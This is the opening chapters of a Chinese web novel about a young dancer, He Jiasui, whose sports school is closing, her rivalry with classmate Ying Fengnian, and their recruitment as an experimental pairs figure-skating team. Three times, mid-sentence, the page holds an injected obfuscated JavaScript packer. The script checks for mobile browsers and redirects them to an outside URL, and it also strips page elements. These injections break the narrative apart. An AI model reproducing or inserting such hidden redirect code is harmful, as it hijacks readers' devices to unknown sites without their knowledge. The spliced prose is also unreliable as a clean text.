《我也不想滑冰的[花滑]》 1. 认错有违英雄主义 滨南市有所体校,在G省尤其特立独行。 许海峰为华夏争得首枚奥运金牌的时候,学校射箭队的靶场被统一改造成射击馆。 刘翔创造110米栏神话那年,眼瞅华夏田径运动迎来春天,校领导填了学校唯一的池子,多铺了两个训练场。 最可怜的是地标体育馆。 外墙刷了好几次漆,冠名从排球改成乒乓球、羽毛球。 如今华夏女排即将征战里约热内卢,学校又蹭着风口装了PVC地板。 就等一朝重返世界之巅,再次改回排球场。 妥妥的三姓家奴。 其他不被重视的地方,也大有变化。 比如一个寒假过去,舞蹈班的老巢被端。 “我的教室呢?”贺嘉岁看着满地泡沫砖,愣在原地,“我那么大的练功房呢?” 入校不到两年,她被迫搬了三回寝室不说,连教室都进化没了。 同行的言开见她锁着眉,仿佛下一秒就要冲进校长室干架,忙摁住她:“墙上有贴通知。” 虽然这不是什么好兆头。 通知还是新的,胶水的痕迹还没干,晕得纸面深一块浅一块。 贺嘉岁读着有些费劲。 [经校委会决定,即日起,原大舞蹈室调整为体操馆,古典舞Ⅰ班和古典舞Ⅱ班合班。] 偌大的体校,唯二的舞蹈班,从此成为惺惺相惜的可怜家伙。 这还不是最糟的。 开学千人大会上,端坐主席台的校领导一改陈词滥调,个个比雕塑还庄严。 贺嘉岁头顶太阳,根本听不进去。 只是在冗长的流程铺垫后,有句话激起千层浪: “我校不再计划招收新生,下学年起由省体育局接管,成为省体校分校区。” 这是针对球类和田径那些热门项目。 像舞蹈这种体校的旁门左道,学生少,师资不足,只有解散的命。 …… 贺先生听女儿情景重现时,还有些不信:“哪能那么容易解散。” 滨南体校虽算不上数一数二的名校,但好歹有近百年的历史,怎么也不可能被轻易吹倒。 贺嘉岁很肯定:“他们练体育的还能继续待,甚至攀上省体校的高枝,但没有我们的位置。” 她连“攀高枝”这种形容都憋出来了。 贺先生抱怨:“你妈妈还说学舞蹈是捷径,现在连出路都看不见。” “校领导说有办法。” “什么?” “转进业余体校。” 区业余体校也有舞蹈班,还能免费训练。 但现在是2016年。 华夏大力扶持体育运动,各地不乏专门的体育中学和特长班,哪里还兴业余体校。 “那都是夕阳产业了。”贺先生叹气。 贺嘉岁没明白:“什么是夕阳产业?” “就像即将睡觉的太阳。” 哦。 她并不觉得自己像即将睡觉的太阳,路一定会有的。 无外乎两条,离开,去别的地方继续跳舞。 或者留下,但得放弃此刻拥有的东西。 她对这里多少有些感情,趁还没到出成绩的黄金年龄,转体育项目无可厚非。 但能转去哪? 健美操? 和她的舞种没多大联系,她不感冒。 体操? 她有些犹豫。 以前偶遇体操班借舞蹈室练韵律,她尤其羡慕运动员的肢体表现,比自己的童子功还要出色。 “不可以。” 电话信号时强时弱,对面的声音总像老式留声机,唯独这一句,贺先生的声音清晰得不容质疑。 他重复:“不可以。” 贺嘉岁攥着手嘟囔:“体操和艺术体操不一样。” “那也不行。” 她缄默。 对于爸爸来说,“艺术体操”是不能被主动提起的存在。 和妈妈一样。 父女俩的谈话中止,贺先生被助理叫去处理文件。 贺嘉岁无聊地卷电话线,希望话题还能继续。 但收发室的阿姨不容许她站着茅坑不拉屎,摊手就是要钱。 “半小时一块,超时多收五毛。” “好悭哦。”贺嘉岁抱怨。 电话那头又有了动静,还是爸爸的声音,由近及远。 “今年九月转回育小读书,你才十岁,还来得及。” …… 自开学大会后,校园还是那副光景。 只是人越来越少,有不少学生提前弃暗投明,找校外机构也好。 两个舞蹈班从来互不对付,现在成为一条绳上的蚂蚱,内部矛盾愈演愈烈。 合训一个月,还有出头鸟为地盘随时开始大战。 “你们越过三八线了!” “谁家好人会在教室画三八线?连门都要分左右。” “有本事别抢我们的泡沫砖。” “用我们的把杆压腿时怎么不分你的我的?” 一方被迫抢夺根据地,一方是更无辜的原住民,每天总有八百个开战的导火线。 “哎,他们为什么不爱好和平?”贺嘉岁看腻了这出戏,随口问。 言开也是激进一派:“你不知道吗?去年Ⅱ班多了一个评优名额,这不公平。” “不就是‘坚韧小铁人’嘛。” 她还是不理解。 又不是三好学生,专业内的荣誉称号有什么好争。 哦,她是全校唯一评上“十佳运动员”的舞蹈生。 没有炫耀的意思。 …… 明争暗斗久了,事情也会变味。 继多次收到奇怪短信后,言开又从桌洞摸出一张信封。 没注意是谁给的,但对方很神秘,一定要她上课打开。 今早的文化课挪了地方,舞蹈班的学生挤在一间小教室,泾渭分明。 她和贺嘉岁抢到了最后排,应该很方便偷懒。 “啊!” 胆子被吓破,丢手几乎是瞬间的事。 贺嘉岁被尖叫吓清醒,忙问:“怎么了?” “谁拿我搞恶作剧!” 惨白的信纸躺在桌面,折痕上叠了只被压扁的大青虫。 她皱眉,仿佛能闻到恶心的鼻涕味。 这不可能单纯的玩笑,老师教的《中小学生守则》,全被坏蛋吃进肚子。 “谁干的?” 正义的她不允许自己坐视不理。 言开还在发愣,半天想不起来:“我不认识,但长得特别丑。” 很好。 Ⅱ班最丑的那个,就是贺嘉岁要找的目标。 老师还没来,她下座位四处溜达,挑选了一位候选人。 那人靠窗,风正打在他的头发上,多少有些凌乱,五官被遮得模糊。 但贺嘉岁相信自己的直觉,他是丑的。 只等下课,给人一顿胖揍,替言开讨个说法。 她的确这么做了。 凭着一身蛮劲,把人堵在放学后的走廊,幻想自己是小说中的女主角,守护自己最好的朋友。 她把坏小子搡到角落:“道歉。” “道什么歉?”坏小子一脸莫名其妙。 “你伤害了我朋友。” “谁是你朋友?” 很普通的问句,落在贺嘉岁的耳朵却成为没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765493|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友的嘲讽。 情绪正愤慨,她又搡了一把:“你才没朋友。” 坏小子红着脸憋不出话,好一阵才吭声:“反弹。” 典型的耍赖皮行为。 “再反弹。” 言开刚收拾好书包,出门就是无趣的反弹大战,她站在中间当和事佬。 “贺嘉岁,你堵小铁人干嘛?” …… 还没满十岁的贺嘉岁,此刻遇上人生中最倒霉的事。 医院报告单上白纸黑字,她被诊断有轻度面部识别障碍,看人不分美丑。 贺先生安慰:“美丑自有心证,本来就是人主观赋予的标准。” 贺嘉岁听不进,只顾自己害臊。 她实在没脸提起那天的那档子事。 堵错人,“梆梆”给了两拳,还被朋友当面揭穿。 被同学这么一传,她成了远近闻名的暴力女。 那“坏小子”也不甘白吃一记委屈,给她发了挑战书,说周末在练功房决斗。 周末没有课。 宿舍楼空空荡荡,体育馆也空空荡荡,住校生趁大好时光回家,只有贺嘉岁这样不爱回家的孩子当守校人。 家里常年只有爸爸,但爸爸出差,这家也回得没意义。 会饿死。 那就去练功房逛逛吧。 贺嘉岁完全忘了挑战书,只是凑巧心里痒痒,想跳点什么过把瘾。 桃李杯*在即,她就琢磨琢磨节目吧。 推拉门滚轴摩擦,室内的男生突然收回动作。 贺嘉岁完全没想过,会在周末的练功房遇见活人。 这比遇见鬼还罕见。 她问:“你是谁?怎么不回家?” 空间里静得出奇。 男生见她的懵懂不假,哼着声就起范,把针尖麦芒演得绘声绘色。 贺嘉岁全想起来了,糟糕的回忆在脑子里乱蹦。 她不承认那是自己:“幼稚。” 男生一噎。 没收到道歉就算了,他又受到新的攻击。 “明明是你推我。”他强调。 还是四月天,滨南已经很热,今天的气温又创新高,连窗外吹进的风也带着燥意。 洋紫荆的花叶拍在玻璃上,贺嘉岁有些心烦。 退一万步讲,她不是不想开口,只是拉不下面子。 她的字典里不存在“道歉”两个字,认错有违英雄主义。 但男生死乞白赖,不达目的不罢休。 他就是为这个而来。 “这里没有别人,你给我道歉,我就原谅你。” “难怪你叫‘小铁人’。” 比铁还固执。 “我叫应逢年,不叫小铁人。” 墙上的挂钟敲着指针,贺嘉岁和他划清界限,练功也相安无事。 但应逢年自带话匣子。 “你的脚背怎么练的?” “正踢好标准。” “你居然还会前桥。” 嘴特别碎。 “你要是认真练习,你也可以会。”贺嘉岁说。 “我很认真。” “我眼瞎了。” 一场嘴仗又要开始,应逢年没接她的话。 “幼稚。” 他使出“反弹”技。 哼,君子报仇,十年不晚。 贺嘉岁见了鬼似的,从没遇上这么睚眦必报的家伙。 膝盖带着脚尖在地板上扫来扫去,她似乎做出一个伟大的决定。 “对不起。”她红着脸豁出去。 反正在计划中,过完这个周末,他们又是没必要认识的陌生同学。 她可以和自己丢下的脸面翻篇。 2. 巨大的阴谋 但她不能阻止有人阴魂不散。 似乎从那天的乌龙开始,有个家伙就有意无意闯进自己的世界。 言开提到他的次数多了,张嘴就是问候:“小铁人居然没找你麻烦?” “他是混世魔王?” “小铁人特别较真。” 贺嘉岁想了想,的确是这样。 言开又说起别的事,还和那家伙有关,嘴里一直“小铁人、小铁人”的叫。 她以前怎么没觉得这个词扎耳朵? “他叫什么来着?”贺嘉岁打断。 说来惭愧,他们虽然结了梁子,但她对这个对手完全没印象。 连模样也模糊,随着自己的心情随便长,时好看时丑。 不过她最近心情一般,所以丑的时候比较多。 有人在身边冷不防亮嗓:“你怎么还没记住?我叫应逢年。” 贺嘉岁被吓了跳,身体的保护机制让她不自觉转身撤步。 好巧不巧,又踩了来人一脚。 “对不起。” 这一回,她的致歉像条件反射。 应逢年骄矜地仰头:“没关系。” 他被舞蹈老师拎到第零排,和贺嘉岁共享“小老师”之位。 上课铃响,站队向老师问好,训练从基本功开始,《OnlyAWoman`sHeart》*无限循环。 算一算,今天还是周测的日子,轮到把杆腰组合。 腰组合没什么难度,比压胯要轻松得多,老师让学生两两一组开肩,就近原则。 班里本来就女多男少,两班一融合,比例更是夸张得可怜。 但很不幸,贺嘉岁没找到可以搭档的朋友。 言开小没良心,被其他人拐走了。 应逢年在她眼前抓了一把,问:“你为什么不找我?” 他们都是被老师选中的小示范生,按说离得最近,搭一对也合乎情理。 但贺嘉岁有些不情愿。 男女授受不亲,爸爸从小这么教她。 “我为什么要找你。” 她站在原地没动,应逢年也杵在那里,大眼瞪小眼。 两根木头很容易引来注目,老师拍手:“你俩带头不听指令?” 贺嘉岁犯嘀咕,她怕他把自己的腰掰折了。 他俩现在可是仇家。 应逢年听她自言自语,也呛声:“谁知道有人会不会暗下杀手呢。” 好像把命交出去似的,两人的表情颇为壮烈。 意外的,应逢年下手可比老师要留情得多,贺嘉岁的柔韧不错,完全没觉得痛。 反观她开背,刚听见骨头响,直接把手压到地面。 缺氧的红色从脖颈蔓延到头顶,应逢年忘记呼吸,只顾龇牙咧嘴。 到周测结束,他都还没缓过来,不止一次夸张表演:“谋财害命。” 但这可是最基础的软开。 贺嘉岁不给他甩锅的机会:“我手劲天生大,我爸爸管这叫握力。” …… 下课前,舞蹈老师给同学们开了个短会。 事关八月的桃李杯。 班里大多是从五六岁就一路跳过来的,桃李杯有多重要,不言而喻。 不说界内权威,只说它三年一届的办赛频率,足够大家挤破脑袋。 纵是从小在舞蹈教室长大的贺嘉岁,参加也是头一回。 大家都在准备自己的节目,舞蹈老师只是关心进度,另外,报名才是拿到入场券的门槛。 “往届都由体校集中报名,但学校如今处于巨大变动期,”老师顿了顿,“保险起见,大家自行报名比较稳妥。” 把难题留给孩子们,贺嘉岁也发愁。 其他同学倒能趁周末回家缠着爸爸妈妈。 她的妈妈身在国外,爸爸是个工作狂,自己没到拥有电子产品的年纪,连小天才电话手表都是奢侈品。 风吹着树上的花,扑簌簌得有些吵。 她问正在收拾书包的少年:“你周末一直待在学校?” 应逢年有手机,她知道。 上周末,练功房只他们两个人,对方大剌剌掏出一部老年机,外壳是妖冶的玫瑰红,开机还自带叽里咕噜的外国话。 “我可以待在学校,”应逢年反问,“你还要挑战我?” “嗯。” 眼神满是挑衅,绝不是有求于他。 但偶尔也有失算的时候。 “这手机居然只能打电话。” 多次尝试无果,贺嘉岁不得不认清现实。 苹果都出到6s了,对老古董的要求的确不能太高。 “它的功能很齐全,”应逢年嫌她不识货,伸手要夺回去,“明明还能玩游戏。” 贺嘉岁敷衍地点头。 是贪吃蛇和推箱子之流,小孩子都不屑玩的游戏。 “我们得报名。”她说。 “桃李杯,”应逢年犹豫,“我应该不会参加。” “为什么?” “下学期我会回小学读书,不练舞了。” 何其相似的句子,何其相似的路,体校改革是压倒很多舞蹈生的五指山。 贺嘉岁皱眉:“但这和比赛有什么关系?” 应逢年背着手,学爸爸妈妈的样子叹气:“编舞需要成本,时间也是成本,你现在要复习小学教材,哪有那么多精力?” 贺嘉岁垮着脸,觉得眼前的人又丑了几分。 就像那些眼神和笑容永远不在一个调上的大人。 “我有节目呀,你陪我报名,我教你舞蹈。” 她断了他放弃的路。 其实,贺嘉岁根本没想明白自己为什么要拉他一把。 或许因为她演绎的是穆桂英? 她时常记得应逢年被吹起碎发的模样,如果那是从战场吹来的肆意的风,也不错。 …… 贺先生关心起女儿的报名情况时,贺嘉岁已经办好了所有手续。 “一个人做到的?”他惊讶问。 贺嘉岁忙着嘚瑟:“嗯,一个人完成任务。” 每个字都在炫耀。 这里她得踩一脚,应逢年好没用。 还得让她亲自出马,借了收发室的电脑,一边和保安爷爷唠嗑,在闷热封闭的小空间研究一下午。 贺先生笑着说:“嘉岁真棒。” 语气和哄孩子似的。 贺嘉岁理所当然:“我已经是大孩子了,可以独立做很多事。” “那大孩子想不想去动物园?” 电话这头沉默了会儿。 “您知道今天收假吗?” 三天劳动节假,她在学校白白转了三天。 “那就下周末,或者等暑假。” 这个回答在贺嘉岁意料之中。 她觉得没盼头,恹恹说:“到时候再说吧。” 她自诩太了解爸爸,平生最爱干八字只写一撇的事,永远在做保证,但计划永远赶不上变化。 趁大好机会,她还想损两句。 但爸爸翻脸更快,笑得像捡了二五八万。 “嘉岁,你妈妈今天发信息,说最近要回国一趟。” 贾女士孤身在他国久居,一直是父女俩闭口不提的默契。 不过更多时候,他们都乐意能够建立联系。 像等待哺食的雏鸟。 “回国,”贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765494|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉岁的眼睛倏地亮起,“回滨南吗?” 她问到了点上。 “是飞机经停,”贺先生顿了一顿,随即解释,“你妈妈要带队去以色列参加比赛*,飞机会在途中降落乌鲁木齐。” “乌鲁木齐?”贺嘉岁思考。 好奇怪的名字,听着不像在滨南附近,甚至不像在G省。 贺先生说:“在华夏的西北边。” 华夏很大,西北和东南完全背道而驰。 “那您在高兴什么?” 妈妈只是短暂经过距离家门几千公里的地方。 就算真如言开爱看的言情小说里写的,她能拥抱曾经吹拂过妈妈的风,等那阵风来滨南,也拥抱了成千上万的人。 但爸爸的想法有些费解。 他说:“五月的乌鲁木齐,容易扬沙。” …… 话是这么说。 真到五月底,贺先生给自己批了半个月的出差假,二话不说奔赴新疆。 对外宣称洽谈合作商。 贺嘉岁熟练扮演守校人的角色。 多可怜,食堂在周末只开放一个窗口,卖碗里只飘三片牛肉的兰州拉面。 她从小耳濡目染,坚决按捺买泡面的想法,认命走向窗口。 但意外,今天的牛肉好像不要钱。 “阿姨,我没刷错饭卡。” 阿姨只点头,笑得极标准,让她有些犯怵。 不该借言开的恐怖小说,她现在满脑子联想,这背后一定有巨大的阴谋。 “这是我校的食堂,两层楼,中西餐都有提供,”始作俑者从楼梯间拐进,扶着门,正一群夹克衫滔滔不绝,“但周末条件有限,只能用牛肉面招待各位。” 直觉告诉贺嘉岁,这群人不简单。 那打扮,那派头,像爸爸公司里清高的老员工。 但为首的人似乎很好说话,张口就笑:“在我的家乡,牛肉面可是待客之道。” 他们就着面聊了很多话,多到她根本记不住。 只知道那些藏蓝色的夹克衫千篇一律,为首的胸前戴了枚徽章。 她在几日后再次见到他。 那枚徽章成了队伍的二把手。 那天,贺嘉岁挨了数学老师批评,刚出办公室就被言开拽走。 “去哪儿?”她问。 手里还握着不及格的期中卷,猎猎搅得人心烦。 言开连回头都顾不上:“练功时间提前,我们得去集合。” 早上文化课,下午专业训练,滨南体校的规矩向来如此。 但架不住领导总爱挑奇怪的时间造访。 换上舞蹈鞋,贺嘉岁正饿得头晕眼花,绷脚背的力气都没剩多少,偏偏被老师点名示范身韵组合。 这是基本功里的基本功,连周测都不带它玩,她偏头有些不解。 但镜子照见教室窗外,那群夹克衫一直默默观察。 直觉告诉她,这是机会,得好好表现。 练功的音乐很舒缓,是老师特意挑的伴奏,虽然听得贺嘉岁尤其无力。 踢腿练习,重心腿的膝盖一闪,她差点把自己掀翻。 不知是不是滑稽表现给了夹克衫记住自己的机会。 观摩课比每次训练的时间都要长,同学们在地上摸爬滚打不敢懈怠,窗外的人们也站满三个小时。 好有毅力。 “解散,半小时后古典舞准备。” 得到赦令,大家终于敢软下去,跑厕所的跑厕所,补水分的补水分,趁早离开是非地。 贺嘉岁被热得够呛,想去走廊吹穿堂风。 她没留意夹克衫盯了她许久。 “你叫什么?” 3. 鸡蛋不能放入一个篮子 夹克衫旅游团一连来了三天,日日都在舞蹈室外站桩,隔一个周末,人又出现在全校朝会上。 “到底是谁把他们招来的?”有同学实在受不住。 最近加训的频率比以前一年都多,这群人就是罪魁祸首。 私下问体育班,再没谁能有这样的遭遇。 “别是看咱们专业要散了,逮着欺负吧。” 贺嘉岁深有同感,点头如捣蒜。 那位戴眼镜的夹克衫执着于她的名字,每逢下课经过,都会问起。 但爸爸嘱咐自己保护隐私,她一句话没敢答,从来都闷头走。 “他们应该不是坏人。” “但谁家好人天天扒教室窗户。” 有道理。 校长正在总结工作,声音从主席台飘过来:“国家冬季运动管理中心一行莅临我校,将在本周继续人才挑选工作,感谢全体师生配合。” 无论什么词语,一旦冠上“国家”两字,格局能高几个档次。 反正孩子们是被唬住了,炸出一片惊声。 “冬季运动管理中心啊。” “你听说过?” “这是重点吗?” 没人知道,但这不重要。 专程来市体校挑人,他们都与有荣焉。 言开摩拳擦掌:“去年走了几个打篮球的,今年已经进国家队打NBA了。” 有男生质疑:“你知道NBA是什么吗?我们学校怎么会出世界级运动员。” 言开撇着嘴,吐了吐舌头不说话。 今天的操场太难安静。 校长没叫解散,掌面打上话筒,周遭空气中的微尘都跟着颤栗。 他再次强调:“希望全体师生配合。” …… 再看到路过窗外的人,孩子们的心境都变了。 至于冬管中心是什么单位,夹克衫会给出答案。 在旁观察多日,他们终于踏足舞蹈室,黑压压一片,遮住半面落地镜。 这更像一场见面会。 “简单说,我们是来挑选想当运动员的小朋友。” 有同学举手:“当运动员就能拿冠军吗?” “不一定。” “那为什么要当运动员呢?” 夹克衫笑他天真,反问:“你为什么在这里学舞蹈呢?” 大家心里都有答案。 “因为学费便宜。” “因为我同手同脚。” “因为我以为学舞蹈不用写家庭作业。” 难得贺嘉岁把自己藏在最后一排,静静听他们七嘴八舌。 但她照旧被夹克衫逮了正着:“你呢?” “因为喜欢。”贺嘉岁想也没想。 因为妈妈喜欢她站上舞台。 有调皮蛋附和:“对,她是我们班最喜欢跳舞的小朋友,她每周……” 夹克衫按住越来越偏的话头。 “孩子们,冬管中心欣赏大家的能力,给你们所有人发出邀请。” 真到该做决定的时候,大家的头一个比一个低,有人甚至找借口溜号,宁愿吹着热风看花草。 他们多数都定好了前程。 回归小学也好,坚持舞蹈也好。 “我想问问,”贺嘉岁说,“是什么体育项目。” “花样滑冰。” 问答会终于有进展。 夹克衫科普了运动,又明说此行计划,如果理想,他们想在滨南体校招入至少三对运动员。 “听着不错。”言开有些松动。 训练基地在北京,包吃包住,还免训练费。 别的不说,那可是北京,肯定比滨南这三线小城要气派。 她一咬牙,当了那只出头鸟:“我代表爸爸妈妈同意了。” 其他同学也妄传父母圣旨,生怕落后。 那天,场面一度失去控制,话费架不住几十上百通电话,最后筛出的人寥寥。 “电话还没打通?”夹克衫问。 贺嘉岁点头:“我爸爸应该在开会。” 未接通来电里,一水全是相同的号码。 “妈妈呢?” “她不会接。” 她很难联系上妈妈,时差是一个原因。 爸爸说她工作忙,也不让打扰。 夹克衫面露难色:“可惜。” “但我可以替自己做决定,”贺嘉岁说,“爸爸会支持我。” 小姑娘的执拗比辫子还长,一旦下定决心,必须看自己的名字出现在名单上。 “但你还没找到搭档。” 哦,刚才夹克衫说,这冰得两个人滑。 她转身没进人堆,薅出自己的好朋友:“她可不可以?” 言开全无刚才的意气风发,挂着脸色:“嘉岁,我妈妈担心遇上人贩子,不同意。” 人贩子的事先扔一边,夹克衫纠正:“你的搭档得是男生。” 男生? 贺嘉岁还攥着言开的手,茫然回头。 自从解散成为舞蹈班的必然,班里人越来越少,哪里还有什么男生。 即使有,也不熟。 但没关系,夹克衫亲自出手逮人,瞅准刚进教室的幸运蛋。 “你想和他搭档吗?”颇有强买强卖的味道。 贺嘉岁的眼里带着防备,连腰板都绷直了。 这人有些眼熟。 再看一眼。 怎么这么像应逢年。 “他不是男生。”嘴逞一时之快。 很迟很迟,她在回过味来,在座都听在耳朵里,表情五花八门。 应逢年尤其惊恐:“只是当运动员而已!” 大丈夫虽然能屈能伸,但怎么能把他的性别改了呢。 …… 贺嘉岁没想到,爸爸比她想象中还要冷静,说一箩筐话后,只让她照顾好自己。 她也没想到,应逢年居然真成了她的临时搭档,一起踏上驶往北京的火车。 不过只是去看看场地,只消一个星期,他们可以井水不犯河水。 “你怎么也想滑冰?” 高铁开了一路,贺嘉岁还没适应身边坐了个人。 应逢年抱着胳膊:“要不是我,你还去不了北京。” 瞧,仇人想摇身一变当恩人。 哪有那么美的事。 她没接他的茬,也不打算再搭理,回头和对面的女生聊起来:“你们也去北京当运动员?” 她观察他们很久了。 女生盘丸子头的手法娴熟,男生也瘦削,应该都是练舞出身。 “也不能是去干别的。”女生笑着回。 男生附和:“但我们都不知道花样滑冰是什么。” 贺嘉岁趁肚子里的二两学识还没消化干净,慷慨解答:“花样滑冰就是穿鞋溜冰。” “和踩滑轮有区别吗?” “有区别吧,夹克衫说溜冰要去冰场。” 这就涉及大家的知识盲区。 别说冰场,他们从小没出过滨南,连雪都没见过。 再聊就是天马行空的想象,话题就此中止。 刚好,目的地也到了。 “旅客朋友们,列车即将到达本次列车的终点站——北京西站。” 广播催促人们下车,行李在狭窄的过道碰撞,列车一路上上下下很多人,耳边早听不见熟悉的家乡话。 贺嘉岁有些拘谨,稳稳坐在座位上,抬头看擦肩又擦肩的路人。 对面的男生女生起身搬行李,应逢年有些着急。 他问:“你在孵小鸡吗?” 她答:“我在孵王八。” “怕走错路?”应逢年拍胸脯,“你跟着我,不会被拐走的。” 哪有这么自恋的小子。 …… 虽然出远门危险,但他们一路都有人护航,接送的大巴车就在停车场。 贺嘉岁注意到挂在车身的横幅: [北京冬运中心运动员专车] 她没忍住笑。 冰还没见着,先把运动员的名号占上了。 大巴车从城郊驶入市区,孩子们贴着玻璃感叹首都繁华后,又看高楼大厦逐渐远去。 “我们要去哪?”有人问。 “大家坐了一天火车,先回宿舍休息,明早八点楼下集合。” 如果不提这事,人人都像花不完精力,一说十几小时舟车劳顿,困意立马涌了上来。 从朝阳初升到夕阳西下,是该睡觉了。 训练基地的宿舍不比酒店,墙灰都是古朴的味道,设计像前朝的老东西。 贺嘉岁不知道自己如何下的车,一连好几个喷嚏才清醒。 她没算到这里和滨南不同天气,穿件单薄的连衣裙就敢闯北,耸着脖颈想驱赶凉气,才发觉肩上有些分量。 是谁给她披了件外衣。 铺床自然是没力气铺的。 刚推门进寝室,贺嘉岁就倒在床板上,耗尽最后一丝理智,把外套叠成枕头。 她不认床,也不在乎床品软硬,决定此后一周都得过且过。 再起床,是同寝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765495|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室友把她摇醒。 “你是谁?” 她有些恍惚,以为家里进了小偷。 “我叫林风致,昨天刚介绍过。” 贺嘉岁有印象,是昨天坐在她对面的女生,看着长她几岁。 她有些不好意思:“我不太能记住人。” “是脸盲吗?”林风致“哇”了声,“居然真有这种病。” 贺嘉岁抿着唇,翻身下床收拾。 “我只在电视里听说过‘脸盲症’,这病简直是女主角的标配,”林风致跟着她去洗漱间,又从洗漱间跟到书桌前,“这说明,你就是这个世界的女主角。” 她的话有些密,贺嘉岁一直没找到气口打断,心情也跟着起伏。 怎么这些话中听又不中听。 明明直接夸她是女主角就可以。 …… 今天,夹克衫不见踪影。 接待他们的是穿运动服的中年人,举着小旗,像个导游。 他们的目的地也不在所谓的国家冬季运动管理中心。 五分钟脚程,运动服带人拐进离宿舍不远的行政楼。 “这里有冰场吗?”应逢年嘟囔。 运动服解释:“我们先注册运动员籍。” 运动员想要正常训练参赛,必须拥有运动员籍,一般在1-3月注册。 冬季运动有些不同,能放宽到四月底。 他们这批孩子的加入属于新政策的产物,北京冬运中心专门放开了补充注册通道。 贺嘉岁一路走,看着墙上闪过的人物像。 有些她认识,比如家喻户晓的阚玉。 但更多的,她没听说过。 高山滑雪、跳台滑雪、短道速滑…… 连体育项目都没听说过。 不过没关系。 从现在开始,她就会成为冬季运动员的一份子。 个人信息涉及保密,搭档两两一组进办公室填写。 “姓名。” “贺嘉岁。” “应逢年。” 键盘一顿噼里啪啦。 “出生日期。” “2006年8月11日。” “2006年11月8日。” “还挺巧,”工作人员眯着眼睛,回车到下一行,“项目。” “花样滑冰。” 打字声停止,室内突然有些空荡。 “小项。” 贺嘉岁和应逢年不约而同卡壳。 他们只知道自己要学花样滑冰,更仔细的,他俩压根就没问。 “有哪些小项?”贺嘉岁试探。 “单人滑,双人滑,冰舞。” 这是一道选择题。 冰舞是什么?没听说过,不选。 单人滑是一个人滑的,不选。 同理可得,双人滑是两个人滑的。 她猜:“双人滑吧。” 应逢年拽了拽她的袖子,小声说:“我怎么觉得不对。” “那你蒙一个。” 他不做声。 换他猜,也得不出第二个答案。 工作人员的手迟迟按不下去,轱辘划出几道响,决定出门找人手。 “您确定他们练双人滑吗?” 刚才已录入的所有人都转冰舞项目,无一例外。 运动服显然也不知情:“听冬管中心的指示。” 一通电话过去,长达半分钟的忙音,工作人员提出疑问,得到回应。 “主任说……双人滑也行。”她带着犹豫。 “那就报双人滑,”运动服卷起手里的小旗,摁回伸缩柄,“大不了以后再转。” 还是熟练的打字声。 工作人员盯着屏幕,根本不需要顾虑每个字母落在哪里。 但贺嘉岁的心情有些变化。 “你怎么了?”应逢年问。 他早察觉,从办公室出来,贺嘉岁笑也不笑。 “应逢年,我们是绑在一条绳上的蝗虫。” “蚂蚱。” “没区别。” 应逢年张着嘴,想纠正她错误的常识。 但最终没说话。 还是别惹她哭吧,嘴角都快掉地上了。 …… 贺嘉岁没把心事告诉给任何人。 搭档没有,爸爸也没有。 那天,和风细雨的夹克衫在电话里斟酌:“反正都是试验品。既然有三对跨项冰舞,保留一对双人滑,也算多个选择。” 他还说,鸡蛋不能放入一个篮子。 4. 鹦鹉也是碎嘴 贺先生进门,看见女儿歪在沙发上昏昏欲睡。 电视正回放《巴啦啦小魔仙》,音量很小,主角变身像滑稽的默片。 屋里又闷又热。 贺嘉岁没舍得开空调,只有矮几上的老式风扇搅着温吞的风。 她得到爸爸出差回家的消息,特意从体校赶回来,连练功服都没来得及换。 “嘉岁,回房睡。” 贺嘉岁睡得浅,但脑子还没清醒,趿上拖鞋,撑在沙发沿发懵。 “几点钟了?”她问。 “八点半,”贺先生放下塑料袋,“我带了凉茶和龟苓膏回来。” “乌鲁木齐也喝凉茶?” 还和楼下阿伯的手艺一样,不爱多加冰糖,入喉全是甘草的回味。 索性干杯仰头,长苦不如短苦。 贺先生替她撕开炼奶:“嘉岁,明天学校加训吗?” 贺嘉岁摇头:“老师比我们更想放假。” “那爸爸带你去动物园。” 玻璃杯撞在矮几上,女孩挺直腰板,声音同样清亮。 “好嘢,您难得说话算数。” …… 儿童节后的第一个周末,园区装饰还没撤下。 家长们边走边聊,等屁股后的孩子数完漏气的气球。 贺嘉岁架不住正盛的热气,一路躲着太阳。 贺先生左右摇蒲扇,帮女儿驱赶打转的花斑蚊。 “老虎都吐舌头,”贺嘉岁贴着玻璃,凑近瞄去,“比阿伯家的猫还像猫。” 贺先生用扇子搭凉棚,玩笑说:“这是从东北来的老虎,没见过这么热的天气。” 再往深处走,极地馆空空荡荡,动物们集体消极怠工,狗熊也不爱上熊山,吃完饲养员的投喂,栖在水池边午睡。 只有远道而来的游客最勤快。 熊馆的另一头接入室内,温度立马降下来。 